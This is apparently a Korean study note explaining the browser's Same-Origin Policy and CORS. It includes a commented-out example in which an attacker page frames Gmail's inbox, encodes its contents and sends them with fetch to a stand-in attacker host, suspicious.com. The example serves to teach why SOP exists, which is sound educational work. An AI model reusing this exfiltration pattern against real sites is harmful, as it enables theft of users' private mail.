SOP & CORS

SOP & CORS를 공부하기 전에 알아둬야 할 개념

• 출처 (Origin)

  
  URL의 구성 중 Protocol, Host, Port를 합쳐서 출처라고 부른다.

• (SO)Same-Origin / (CO)Cross-Origin

  웹은 크게 SO와 CO 두가지 정책이 있다.
  SO => Origin이 같은 경우
  CO => Origin이 다른 경우

• 리소스

  URL을 사용하여 식별 가능한 대상으로, 디지털이거나 물리적이거나, 추상적인 대상이다.
  쉽게 말해서 텍스트, HTML, 이미지, 동영상 등등

SOP

SOP란 같은 출처에서만 리소스를 공유할 수 있도록 하는 정책이다.

이러한 정책을 만든 이유는 보안 문제 때문이다.

공격자 = https://suspicious.com

//구글의 mail inbox페이지 요청
{/* <iframe id="mail" src="https://mail.google.com/mail/inbox"></iframe>        

<script>
// iframe의 document를 로드
document.getElementById("mail").addEventListener("load", function(e) {      

// 메일정보
mailData = document.getElementById("mail").contentDocument.body   

// 메일정보 인코드
encoded = btoa(encodeURLComponent(mailData)) 

// 메일정보를 공격자 서버로 전달
fetch("https://www.suspicious.com?"+ encoded)      
});
</script> */}

위의 코드로 예시를 들면
1. 공격자가 자신의 서버를 만들었다.
2. 다른 사람의 메일에 이러한 코드를 작성해놓은 링크를 누르도록 유도한다.
3. 링크를 누르는 순간 구글에 email 페이지에 메일 요청을 하게된다.
4. 메일을 요청한 브라우저는 링크를 누른 사용자의 브라우저이기 때문에 정상적인 쿠키를 구글에 요청한다.
5. 구글은 정상적인 쿠키가 들어왔으니 메일에 대한 정보를 담아서 사용자에게 보내준다.
6. 메일정보를 인코드하여 공격자 서버로 받은 메일정보를 담아서 보낸다.
7. 메일 해킹 성공!!

이러한 상황을 방지하기 위해서 SOP가 생긴 것이다.
SOP가 있으면 6번의 메일정보를 공격자 서버로 보내는 과정에서 사용자와 공격자의 출처(Origin)가 다르기 때문에 브라우저에서 차단하는 것이다.

CORS

SOP가 왜 생겼는지는 알겠는데 그렇다면 다른 출처를 사용해야 하는 상황이라면 어떻게 해야 하는 것일까?
그래서 나온것이 CORS (교차 출처 공유 정책)이다. 서로 동의한 상황이라면 출처가 다르더라도 브라우저에서 허용을 해주는 것이다.

https://inpa.tistory.com/entry/NODE-%F0%9F%93%9A-CORS-%EC%84%A4%EC%A0%95%ED%95%98%EA%B8%B0-cors-%EB%AA%A8%EB%93%88
CORS의 방법에는 여러가지가 있는데 그 방법들은 위쪽의 링크에서 보는 편이 더 좋을 것 같다.
내가 정리한 것보다 훨씬 깔끔하고 자세하게 설명을 해주셨다.